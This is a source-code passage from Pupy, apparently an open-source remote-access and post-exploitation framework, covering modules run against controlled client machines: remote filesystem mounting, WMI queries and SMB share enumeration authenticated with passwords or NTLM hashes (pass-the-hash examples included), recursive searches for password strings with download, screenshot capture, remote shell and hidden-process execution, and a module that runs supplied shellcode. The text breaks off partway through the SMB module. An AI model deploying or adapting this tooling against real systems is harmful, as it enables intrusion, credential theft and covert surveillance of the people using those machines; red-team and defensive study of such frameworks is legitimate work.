        lpath = os.path.abspath(lpath)

        if lpath in self._mounts:
            raise ValueError('{} already mounted'.format(lpath))

        self._mounts[lpath] = PupyFUSE(
            PupyRFS(rpath, self._rops), lpath,
            nothreads=True, foreground=True
        )

        self._mounts[lpath].cleanup = lambda: self.umount(lpath)

        self._mounts[lpath].thread = threading.Thread(target=self._mounts[lpath].loop)
        self._mounts[lpath].thread.daemon = True
        self._mounts[lpath].thread.start()

        self._conn.register_local_cleanup(self._mounts[lpath].cleanup)

    def umount(self, lpath):
        if lpath not in self._mounts:
            raise ValueError('Unregistered mount point {}'.format(lpath))

        for x in psutil.process_iter(['open_files']):
            try:
                pid, dirs = x.pid, set([
                    os.path.abspath(y.path) for y in x.open_files()
                ])

                for d in dirs:
                    if d == lpath or d.startswith(lpath+'/'):
                        x.kill(pid)
                        break

            except psutil.AccessDenied:
                pass

        subprocess.check_call(['/usr/bin/fusermount', '-u', lpath])

        self._conn.unregister_local_cleanup(self._mounts[lpath].cleanup)
        del self._mounts[lpath]

    @property
    def mounts(self):
        return {
            x:y.operations.root for x,y in self._mounts.items()
        }

    def umountall(self):
        for lpath in list(self._mounts):
            self.umount(lpath)

class RemoteOperations(object):
    __slots__ = (
        'join',
        'sep',
        'isdir',
        'relpath',

        'access',
        'chmod',
        'chown',
        'lstat',
        'listdir',
        'readlink',
        'mknod',
        'rmdir',
        'mkdir',
        'statvfs',
        'unlink',
        'symlink',
        'rename',
        'link',
        'utime',

        'open',
        'read',
        'lseek',
        'write',
        'ftruncate',
        'fsync',
        'close'
    )

class PupyRFS(Operations):
    def __init__(self, root, rops):
        self.root = root
        self.rops = rops

    # Helpers
    # =======

    def _full_path(self, partial):
        return self.root + self.rops.sep + self.rops.sep.join(
            x for x in os.path.split(partial) if x
        ).decode('utf-8')

    # Filesystem methods
    # ==================

    def access(self, path, mode):
        full_path = self._full_path(path)
        if not self.rops.access(full_path, mode):
            raise FuseOSError(errno.EACCES)

    def chmod(self, path, mode):
        full_path = self._full_path(path)
        return self.rops.chmod(full_path, mode)

    def chown(self, path, uid, gid):
        full_path = self._full_path(path)
        return self.rops.chown(full_path, uid, gid)

    def getattr(self, path, fh=None):
        full_path = self._full_path(path)
        st = self.rops.lstat(full_path)

        return dict((key, st.get(key)) for key in (
            'st_atime', 'st_ctime',
            'st_gid', 'st_mode', 'st_mtime', 'st_nlink',
            'st_size', 'st_uid'))

    def readdir(self, path, fh):
        full_path = self._full_path(path)

        dirents = [u'.', u'..']

        if self.rops.isdir(full_path):
            dirents.extend(self.rops.listdir(full_path))

        for r in dirents:
            yield r

    def readlink(self, path):
        pathname = self.rops.readlink(self._full_path(path))
        if pathname.startswith("/"):
            # Path name is absolute, sanitize it.
            return self.rops.relpath(pathname, self.root)
        else:
            return pathname

    def mknod(self, path, mode, dev):
        return self.rops.mknod(self._full_path(path), mode, dev)

    def rmdir(self, path):
        full_path = self._full_path(path)
        return self.rops.rmdir(full_path)

    def mkdir(self, path, mode):
        return self.rops.mkdir(self._full_path(path), mode)

    def statfs(self, path):
        full_path = self._full_path(path)
        stv = self.rops.statvfs(full_path)
        return dict((key, stv.get(key)) for key in (
            'f_bavail', 'f_bfree',
            'f_blocks', 'f_bsize', 'f_favail',
            'f_ffree', 'f_files', 'f_flag',
            'f_frsize', 'f_namemax'))

    def unlink(self, path):
        return self.rops.unlink(self._full_path(path))

    def symlink(self, name, target):
        return self.rops.symlink(target, self._full_path(name))

    def rename(self, old, new):
        return self.rops.rename(self._full_path(old), self._full_path(new))

    def link(self, target, name):
        return self.rops.link(self._full_path(name), self._full_path(target))

    def utimens(self, path, times=None):
        return self.rops.utime(self._full_path(path), times)

    # File methods
    # ============

    def open(self, path, flags):
        full_path = self._full_path(path)
        return self.rops.open(full_path, flags)

    def create(self, path, mode, fi=None):
        full_path = self._full_path(path)
        return self.rops.open(full_path, os.O_WRONLY | os.O_CREAT, mode)

    def read(self, path, length, offset, fh):
        self.rops.lseek(fh, offset, os.SEEK_SET)
        return self.rops.read(fh, length)

    def write(self, path, buf, offset, fh):
        self.rops.lseek(fh, offset, os.SEEK_SET)
        return self.rops.write(fh, buf)

    def truncate(self, path, length, fh=None):
        full_path = self._full_path(path)
        fd = self.rops.open(full_path, os.O_RDWR)
        if fd != -1:
            self.rops.ftruncate(fd, length)
            self.rops.close(fd)

    def flush(self, path, fh):
        return self.rops.fsync(fh)

    def release(self, path, fh):
        return self.rops.close(fh)

    def fsync(self, path, fdatasync, fh):
        return self.flush(path, fh)

__class_name__ = 'RemoteFS'

@config(cat="admin")
class RemoteFS(PupyModule):
    ''' Mount remote FS as Fuse FS to mountpoint '''

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        parser = PupyArgumentParser(prog='rfs', description=cls.__doc__)
        commands = parser.add_subparsers(dest='command')

        mount = commands.add_parser('mount')
        mount.add_argument('src', help='Remote directory')
        mount.add_argument('dest', help='Local mount point')
        mount.set_defaults(func=cls.mount)

        umount = commands.add_parser('umount')
        umount.add_argument('dest', help='Local mount point')
        umount.set_defaults(func=cls.umount)

        mlist = commands.add_parser('list')
        mlist.set_defaults(func=cls.list)

        cls.arg_parser = parser

    def run(self, args):
        manager = self.client.conn.single(RFSManager)
        if not manager.assigned:
            manager.assign(self.client)

        args.func(self, args, manager)

    def mount(self, args, manager):
        manager.mount(args.src, args.dest)

    def umount(self, args, manager):
        manager.umount(args.dest)

    def list(self, args, manager):
        for src,dst in manager.mounts.items():
            self.info('{} -> {}'.format(src, dst))


================================================
FILE: pupy/modules/rm.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'rm'


@config(cat="admin")
class rm(PupyModule):
    """ remove a file or a directory """

    is_module = False
    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="rm", description=cls.__doc__)
        cls.arg_parser.add_argument(
            'path', type=str, action='store',
            completer=remote_path_completer
        )

    def run(self, args):
        try:
            rm = self.client.remote('pupyutils.basic_cmds', 'rm', False)

            r = rm(args.path)
            if r:
                self.log(r)
        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/rwmic.py
================================================
# -*- encoding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from argparse import REMAINDER

import sys

from netaddr import IPNetwork

from pupy.pupylib.PupyOutput import Table, List
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'RWMIC'


def _stringify(x):
    if isinstance(x, basestring):
        return x
    elif isinstance(x, (list, tuple)):
        return ';'.join(_stringify(y) for y in x)
    elif type(x) is None:
        return ''
    else:
        return str(x)


@config(category='admin')
class RWMIC(PupyModule):
    ''' Remote WMI query using WQL '''

    dependencies = [
        'unicodedata', 'idna', 'encodings.idna',
        'impacket', 'ntpath',
        'calendar', 'pupyutils.psexec'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="rwmic", description=cls.__doc__)
        cls.arg_parser.add_argument("-u", metavar="USERNAME", dest='user', default='',
                                    help="Username, if omitted null session assumed")
        cls.arg_parser.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
        cls.arg_parser.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
        cls.arg_parser.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP",
                                    help="Domain name (default WORKGROUP)")
        cls.arg_parser.add_argument("-s", metavar="SHARE", dest='share', default="C$",
                                    help="Specify a share (default C$)")
        cls.arg_parser.add_argument("-S", dest='noout', action='store_true', help="Do not wait for command output")
        cls.arg_parser.add_argument("-T", metavar="TIMEOUT", dest='timeout', default=30, type=int,
                                    help="Try to set this timeout")
        cls.arg_parser.add_argument("--port", dest='port', type=int, choices={135, 445}, default=135,
                                    help="RMI port (default 135)")
        cls.arg_parser.add_argument("target", nargs=1, type=str, help="The target range or CIDR identifier")

        cls.arg_parser.add_argument('query', nargs=REMAINDER)

    def run(self, args):
        wql = self.client.remote('pupyutils.psexec', 'wql')
        if args.query:
            cmdline = ' '.join(args.query)

        else:
            cmdline = 'SELECT DatabaseDirectory,BuildVersion,LoggingDirectory '\
              'FROM Win32_WMISetting'

        if "/" in args.target[0]:
            hosts = IPNetwork(args.target[0])
        else:
            hosts = list()
            hosts.append(args.target[0])

        for host in hosts:
            try:
                columns, values = wql(
                    str(host), args.port,
                    args.user,  args.domain,
                    args.passwd, args.hash,
                    cmdline, args.timeout
                )

                if not columns:
                    return
                elif len(columns) == 1:
                    self.log(List(list(
                        _stringify(x[0]) for x in values), caption=columns[0]))
                else:
                    if not values:
                        return

                    elif len(values) == 1:
                        records = [
                            {
                                'KEY': column,
                                'VALUE': _stringify(values[0][idx])
                            } for idx, column in enumerate(columns)
                        ]
                        self.log(Table(records, ['KEY', 'VALUE']))
                    else:
                        records = [
                            {
                                column: _stringify(value[idx]) for
                                idx, column in enumerate(columns)
                            } for value in values
                        ]
                        self.log(Table(records, columns))

            except Exception as e:
                self.error(e)


================================================
FILE: pupy/modules/scapy_shell.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import readline

from pupy.modules.lib.windows.winpcap import init_winpcap
from pupy.pupylib.utils.rpyc_utils import redirected_stdo
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser, QA_DANGEROUS
)

if sys.version_info.major > 2:
    raw_input = input

__class_name__="InteractiveScapyShell"


def enqueue_output(out, queue):
    for c in iter(lambda: out.read(1), b""):
        queue.put(c)

@config(cat="admin")
class InteractiveScapyShell(PupyModule):
    """ open an interactive python shell on the remote client """

    max_clients=1
    dependencies=['pyshell']
    qa = QA_DANGEROUS

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='scapy', description=cls.__doc__)

    def run(self, args):
        init_winpcap(self.client)
        self.client.load_package('scapy', honor_ignore=False, force=True)

        try:
            with redirected_stdo(self):
                old_completer = readline.get_completer()
                try:
                    psc=self.client.conn.modules['pyshell.controller'].PyShellController()
                    readline.set_completer(psc.get_completer())
                    readline.parse_and_bind('tab: complete')
                    psc.write("from scapy.all import *")
                    while True:
                        cmd=raw_input(">>> ")
                        psc.write(cmd)
                finally:
                    readline.set_completer(old_completer)
                    readline.parse_and_bind('tab: complete')
        except KeyboardInterrupt:
            pass


================================================
FILE: pupy/modules/screenshot.py
================================================
# -*- coding: utf-8 -*-

# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice,
# this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyConfig import PupyConfig

import os
import subprocess

from io import open

__class_name__="Screenshoter"


@config(cat="gather",compatibilities=['windows', 'linux', 'darwin', 'solaris'])
class Screenshoter(PupyModule):
    """ take a screenshot :) """

    dependencies = [
        'mss', 'screenshot', 'png'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='screenshot', description=cls.__doc__)
        cls.arg_parser.add_argument('-e', '--enum', action='store_true', help='enumerate screen')
        cls.arg_parser.add_argument('-s', '--screen', type=int, default=None, help='take a screenshot on a specific screen (default all screen on one screenshot)')
        cls.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open the default image viewer on the screenshot for preview')

    def run(self, args):
        screens = self.client.remote('screenshot', 'screens')
        screenshot = self.client.remote('screenshot', 'screenshot')

        if self.client.is_android():
            self.error("Android target, not implemented yet...")

        else:
            if args.enum:
                self.rawlog('{:>2} {:>9} {:>9}\n'.format('IDX', 'SIZE', 'LEFT'))
                for i, screen in enumerate(screens()):
                    if not (screen['width'] and screen['height']):
                        continue

                    self.rawlog('{:>2}: {:>9} {:>9}\n'.format(
                        i,
                        '{}x{}'.format(screen['width'], screen['height']),
                        '({}x{})'.format(screen['top'], screen['left'])))
                return

            config = self.client.pupsrv.config or PupyConfig()
            filepath_base = config.get_file('screenshots', {'%c': self.client.short_name()})

            try:
                screenshots, error = screenshot(args.screen)
            except Exception as e:
                self.error('Impossible to take a screenshot ("{0}"). Abording...'.format(e))
                return -1
            if not screenshots:
                self.error(error)
                return -1
            else:
                self.success('number of monitor detected: %s' % str(len(screenshots)))

                for i, screenshot in enumerate(screenshots):
                    filepath = filepath_base + '-{}.png'.format(i)
                    with open(filepath, 'wb') as out:
                        out.write(screenshot)
                        self.success(filepath)

                    if args.view:
                        viewer = config.get('default_viewers', 'image_viewer') or 'xdg-open'

                        found = False
                        for p in os.environ.get('PATH', '').split(':'):
                            if os.path.exists(os.path.join(p, viewer)):
                                with open(os.devnull, 'wb') as DEVNULL:
                                    subprocess.Popen(
                                        [viewer, filepath],
                                        stdin=DEVNULL, stdout=DEVNULL, stderr=DEVNULL)

                                found = True
                                break

                        if not found:
                            self.error('Default viewer not found: %s' % viewer)


================================================
FILE: pupy/modules/search.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer
from pupy.modules.lib.utils.download import DownloadFronted

from os import path
from threading import Event
from datetime import datetime

import dateparser

__class_name__ = 'SearchModule'


@config(cat="gather")
class SearchModule(PupyModule):
    """ walk through a directory and recursively search a string into files """
    dependencies = {
        'all': [
            'pupyutils.search', 'scandir', 'transfer',
            'zipfile', 'tarfile', 'fsutils', 'scandir'
        ],
        'windows': ['junctions', 'ntfs_streams', 'pupwinutils', '_scandir'],
        'linux': ['xattr', '_scandir']
    }

    terminate = None

    @classmethod
    def init_argparse(cls):
        example = 'Examples:\n'
        example += '- Recursively search strings in files:\n'
        example += '>> run search -C .*ini passw.*=.*\n'
        example += '>> run search -C .* passw.*=.* -I\n'
        example += '- Recursively search string in file names:\n'
        example += '>> run search pwdfile.*\n'

        cls.arg_parser = PupyArgumentParser(
            prog="search", description=cls.__doc__, epilog=example
        )
        cls.arg_parser.add_argument(
            '-p', '--path', default='.',
            completer=remote_path_completer,
            help='root path to start (default: current path)'
        )
        cls.arg_parser.add_argument(
            '-m', '--max-size', type=int, default=20000000,
            help='max file size (default 20 Mo)'
        )
        cls.arg_parser.add_argument(
            '-b', '--binary', action='store_true',
            help='search content inside binary files'
        )
        cls.arg_parser.add_argument(
            '-v', '--verbose', action='store_true', help='show errors'
        )
        cls.arg_parser.add_argument(
            '-C', '--content-only', action='store_true',
            help='show only results with content'
        )
        cls.arg_parser.add_argument(
            '-L', '--links', action='store_true', help='follow symlinks'
        )
        cls.arg_parser.add_argument(
            '-N', '--no-content', action='store_true',
            help='if string matches, output just filename'
        )
        cls.arg_parser.add_argument(
            '-I', '--insensitive', action='store_true', default=False,
            help='no case sensitive'
        )
        cls.arg_parser.add_argument(
            '-F', '--no-same-fs', action='store_true', default=False,
            help='do not limit search to same fs'
        )

        cls.arg_parser.add_argument(
            '-D', '--download', action='store_true',
            help='download found files'
        )
        cls.arg_parser.add_argument(
            '-A', '--archive', action='store_true', default=False,
            help='search in archive'
        )

        cls.arg_parser.add_argument(
            '-U', '--suid', action='store_true', default=False,
            help='Search SUID files'
        )
        cls.arg_parser.add_argument(
            '-G', '--sgid', action='store_true', default=False,
            help='Search SGID files'
        )
        cls.arg_parser.add_argument(
            '-u', '--user', help='Search files owned by user'
        )
        cls.arg_parser.add_argument(
            '-g', '--group', help='Search files owned by group'
        )
        cls.arg_parser.add_argument(
            '-O', '--own-world-accessible-write', action='store_true',
            help='Search accessible files for current process (write)'
        )
        cls.arg_parser.add_argument(
            '-t', '--timestamp-newer',
            help='Search files which are newer than date'
        )
        cls.arg_parser.add_argument(
            '-T', '--timestamp-older',
            help='Search files which are older than date'
        )
        cls.arg_parser.add_argument(
            '-X', '--xattr', default=False, nargs='?',
            help='Search files with extended attributes (can be specified)'
        )

        cls.arg_parser.add_argument(
            'filename', metavar='filename',
            help='regex to search (filename)'
        )
        cls.arg_parser.add_argument(
            'strings', nargs='*', default=[], metavar='string',
            help='regex to search (content)'
        )

    def run(self, args):
        search = self.client.remote('pupyutils.search')

        newer = None
        older = None

        if args.timestamp_newer:
            try:
                newer = datetime.fromtimestamp(int(args.timestamp_newer))
            except ValueError:
                newer = dateparser.parse(args.timestamp_newer)

            newer = int((newer - datetime.fromtimestamp(0)).total_seconds())

        if args.timestamp_older:
            try:
                older = datetime.fromtimestamp(int(args.timestamp_older))
            except ValueError:
                older = dateparser.parse(args.timestamp_older)

            older = int((older - datetime.fromtimestamp(0)).total_seconds())

        s = search.Search(
            args.filename,
            strings=tuple(args.strings) if args.strings else None,
            max_size=args.max_size,
            root_path=args.path,
            follow_symlinks=args.links,
            no_content=args.no_content,
            case=args.insensitive,
            binary=args.binary,
            same_fs=not args.no_same_fs,
            search_in_archives=args.archive,
            content_only=args.content_only,
            suid=args.suid,
            sgid=args.sgid,
            user=args.user,
            group=args.group,
            owaw=args.own_world_accessible_write,
            newer=newer,
            older=older,
            xattr=args.xattr if args.xattr else args.xattr is not False
        )

        if args.download:
            config = self.client.pupsrv.config
            download_folder = config.get_folder(
                'searches', {
                    '%c': self.client.short_name()
                }
            )

            downloader = DownloadFronted(
                self.client,
                honor_single_file_root=True,
                error=self.error
            )

            on_downloader_data, on_downloader_completed = \
                downloader.create_download_callback(download_folder)

            downloaded_files = set()

            def on_data(res):
                printer = self.success

                file_to_download = res

                if type(res) == tuple:
                    file_to_download, _ = res

                if file_to_download in downloaded_files:
                    return

                details = path.sep.join([
                    download_folder, file_to_download
                ])

                downloaded_files.add(file_to_download)

                try:
                    on_downloader_data(file_to_download)

                except Exception as e:
                    printer = self.error
                    details = str(e)

                printer(
                    'Download {} -> {}'.format(file_to_download, details)
                )

            def on_completed():
                self.success('Search completed, finish download engine')
                on_downloader_completed()

            self.terminate = downloader.interrupt
            self.info('Search+Download started. Use ^C to interrupt')
            s.run_cbs(on_data, on_completed, self.error)
            downloader.process()
            self.success('Search+Download completed')

        else:
            terminate = Event()

            def on_data(res):
                if terminate.is_set():
                    return

                if type(res) == tuple:
                    f, v = res
                    self.success('{}: {}'.format(f, v))
                else:
                    self.success(res)

            def on_completed():
                terminate.set()
                self.info('complete')

            self.terminate = terminate.set
            self.info('Search started. Use ^C to interrupt')

            error = self.error
            if not args.verbose:
                def error(x):
                    pass

            s.run_cb(on_data, on_completed, error)
            terminate.wait()
            s.stop()

    def interrupt(self):
        if self.terminate:
            self.terminate()


================================================
FILE: pupy/modules/services.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Color, TruncateToTerm, Table

__class_name__="Services"

ADMINS = (r'NT AUTHORITY\SYSTEM', 'LOCALSYSTEM', 'root')
LIKELY_KNOWN = (
    'svchost.exe', 'lsass.exe', 'spoolsv.exe', 'TrustedInstaller.exe',
    'wmpnetwk.exe', 'SearchIndexer.exe'
)

@config(cat='admin', compat=['windows','linux'])
class Services(PupyModule):
    """ list services """

    dependencies = {
        'windows': ['pupyps'],
        'linux': ['dbus', 'services']
    }

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="services", description=cls.__doc__)
        cls.arg_parser.add_argument('-i', '--info', action='store_true', help='Show more info')
        cls.arg_parser.add_argument('-a', '--all', action='store_true', help='Show all services')
        cls.arg_parser.add_argument('-D', '--display-name', action='store_true',
                                    help='Show display name instead of name')

    def run(self, args):
        is_linux = False

        if self.client.is_linux():
            get_services = self.client.remote('services', 'get_services_systemd')
            is_linux = True
        elif self.client.is_windows():
            get_services = self.client.remote('pupyps', 'get_win_services')
        else:
            raise ValueError('Unsupported target')

        services = get_services()

        columns = [('pid', 'PID'), ('name', 'SERVICE'), ('binpath', 'PATH')]
        if args.info:
            columns = [('pid', 'PID'), ('name', 'SERVICE'), ('username', 'USER'), ('binpath', 'PATH')]

        if args.display_name:
            columns = [
                x if x[0] != 'name' else ('display_name', 'SERVICE') for x in columns
            ]

        data = []

        for service in services:

            username = service.get('username')
            status = service.get('status')
            binpath = service.get('binpath')

            color = None
            if not status == 'running':
                if not args.all:
                    continue

                color = 'grey'
            elif all([x not in binpath for x in LIKELY_KNOWN]) and not is_linux:
                color = 'cyan'
                if username.upper() in ADMINS:
                    color = 'lightyellow'

            if color is not None:
                service = {
                    k:Color(v if v is not None else '', color) for k,v in service.items()
                }

            data.append(service)


        self.log(TruncateToTerm(Table(data, columns)))


================================================
FILE: pupy/modules/shares.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyOutput import Table
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from netaddr import IPNetwork

__class_name__="Shares"

@config(category="admin", compat=["windows", "linux"])
class Shares(PupyModule):
    """ List local and remote shared folder and permission """

    dependencies = {
        'windows': [
            'win32api', 'win32com', 'pythoncom',
            'winerror', 'wmi', 'pupwinutils.drives',
        ],
        'all': [
            'impacket', 'calendar', 'pupyutils.share_enum'
        ]
    }

    @classmethod
    def init_argparse(cls):
        example = 'Examples:\n'
        example += '>> run shares local\n'
        example += '>> run shares remote -u john -p password1 -d DOMAIN -t 192.168.0.1\n'
        example += '>> run shares remote -u john -H \'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d\' -t 192.168.0.1\n'

        cls.arg_parser = PupyArgumentParser(prog="shares", description=cls.__doc__, epilog=example)
        subparsers = cls.arg_parser.add_subparsers(title='Enumerate shared folders')

        local = subparsers.add_parser('local', help='Retrieve local shared folders')
        local.set_defaults(local="list_shared_folders")

        remote = subparsers.add_parser('remote', help='Retrieve remote shared folders and permission')
        remote.add_argument("-u", metavar="USERNAME", dest='user', default='', help="Username, if omitted null session assumed")
        remote.add_argument("-p", metavar="PASSWORD", dest='passwd', default='', help="Password")
        remote.add_argument("-H", metavar="HASH", dest='hash', default='', help='NTLM hash')
        remote.add_argument("-d", metavar="DOMAIN", dest='domain', default="WORKGROUP", help="Domain name (default WORKGROUP)")
        remote.add_argument("-P", dest='port', type=int, choices={139, 445}, default=445, help="SMB port (default 445)")
        remote.add_argument("-t", dest='target', type=str, default=None, help="The target range or CIDR identifier")


    def run(self, args):

        # Retrieve local shared folders
        if args.local:
            if self.client.is_windows():
                shared_folders = self.client.remote('pupwinutils.drives', 'shared_folders')

                folders = shared_folders()
                if not folders:
                    return

                self.log(Table([{
                    'Name': share_name,
                    'Path': share_path
                } for share_name, share_path in folders], ['Name', 'Path']))

            else:
                self.warning('this module works only for windows. Try using: run shares remote -t 127.0.0.1')
            return


        # Retrieve remote shared folders
        if not args.target:
            self.error("target (-t) parameter must be specify")
            return

        if "/" in args.target:
            hosts = IPNetwork(args.target)
        else:
            hosts = list()
            hosts.append(args.target)

        connect = self.client.remote('pupyutils.share_enum', 'connect')

        for host in hosts:
            result = connect(
                str(host), args.port, args.user,
                args.passwd, args.hash, args.domain)

            if 'error' in result:
                if 'os' in result:
                    self.error('{}:{} OS={} NAME={}: {}'.format(
                        host, args.port, result['os'], result['name'], result['error']))
                else:
                    self.error('{}:{}: {}'.format(
                        host, args.port, result['error']))
            else:
                self.success('{}:{} OS=[{}] NAME=[{}] AUTH={}'.format(
                    host, args.port, result['os'], result['name'], result['auth']))
                shares = [{
                    'SHARE': x[0],
                    'ACCESS': x[1]
                } for x in result['shares']]

                self.table(shares, ['SHARE', 'ACCESS'])


================================================
FILE: pupy/modules/shell_exec.py
================================================
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from argparse import REMAINDER

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'ShellExec'


@config(cat="admin")
class ShellExec(PupyModule):
    """ execute shell commands on a remote system """

    dependencies = {
        'all': ['pupyutils.safepopen'],
        'windows': ['pupwinutils.processes']
    }

    terminate = None
    interrupted = False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='shell_exec', description=cls.__doc__)
        cls.arg_parser.add_argument('-X', '--no-shell', action='store_true', help='Do not execute command in shell')
        cls.arg_parser.add_argument('-S', '--set-uid', help='Set UID for user (posix only)')
        cls.arg_parser.add_argument('-H', '--hide', action='store_true', help='Launch process on background '
                                                                              '(only for windows)')
        cls.arg_parser.add_argument('-c', '--codepage', default=None, help='decode using codepage')
        cls.arg_parser.add_argument(
            'argument',
            nargs=REMAINDER,
            help='shell command')

    def run(self, args):
        if not args.hide:
            check_output = self.client.remote('pupyutils.safepopen', 'check_output', False)

            cmdline = tuple(args.argument)
            if not args.no_shell:
                cmdline = ' '.join(cmdline)

            try:
                self.terminate, get_data = check_output(
                    cmdline, shell=not args.no_shell, encoding=args.codepage, suid=args.set_uid)
            except Exception as e:
                self.error(
                    ' '.join(x for x in e.args if isinstance(x, basestring))
                )

                return

            data, code = get_data()
            data = data.strip()
            if not data and self.interrupted:
                return

            if code:
                if data:
                    self.log(data)
                self.error('Error code: {}'.format(code))
            else:
                if not data:
                    data = '[ NO OUTPUT ]'
                self.log(data)

        elif args.hide and self.client.is_windows():
            try:
                start_hidden_process = self.client.remote(
                    'pupwinutils.processes', 'start_hidden_process'
                )
                pid = start_hidden_process(args.argument)
                self.success('Process created with pid %s' % pid)

            except Exception as e:
                self.error('Error creating the process: %s' % e)
        else:
            self.error('--hide option works only for Windows hosts')

    def interrupt(self):
        if self.interrupted:
            return

        if self.terminate:
            self.interrupted = True
            self.terminate()


================================================
FILE: pupy/modules/shellcode_exec.py
================================================
# -*- coding: utf-8 -*-

'''
Module by @byt3bl33d3r
'''
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="ShellcodeExec"

@config(cat="exploit", compat="windows")
class ShellcodeExec(PupyModule):
    """ executes the supplied shellcode on a client """

    dependencies = ['pupwinutils.shellcode']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='shellcode_exec', description=cls.__doc__)
        cls.arg_parser.add_argument('path', help='Path to the shellcode to execute')

    def run(self, args):
        with open(args.path, 'rb') as sfile:
            shellcode = sfile.read()
            self.client.conn.modules['pupwinutils.shellcode'].exec_shellcode(shellcode)
    
        self.log('Shellcode executed!')


================================================
FILE: pupy/modules/smb.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import sys
import ntpath

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Table
from pupy.pupylib.utils.rpyc_utils import obtain


if sys.version_info.major > 2:
    from io import BytesIO
else:
    import StringIO as BytesIO

__class_name__ = 'SMB'


class SMBError(Exception):
    pass


@config(cat="admin")
class SMB(PupyModule):
    ''' Copy files via SMB protocol '''

    max_clients = 1
    dependencies = [
        'unicodedata', 'idna', 'encodings.idna',
        'impacket', 'pupyutils.psexec'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='smb', description=cls.__doc__
        )
        cls.arg_parser.add_argument(
            '-u', '--username', default='', help='Username'
        )
        cls.arg_parser.add_argument(
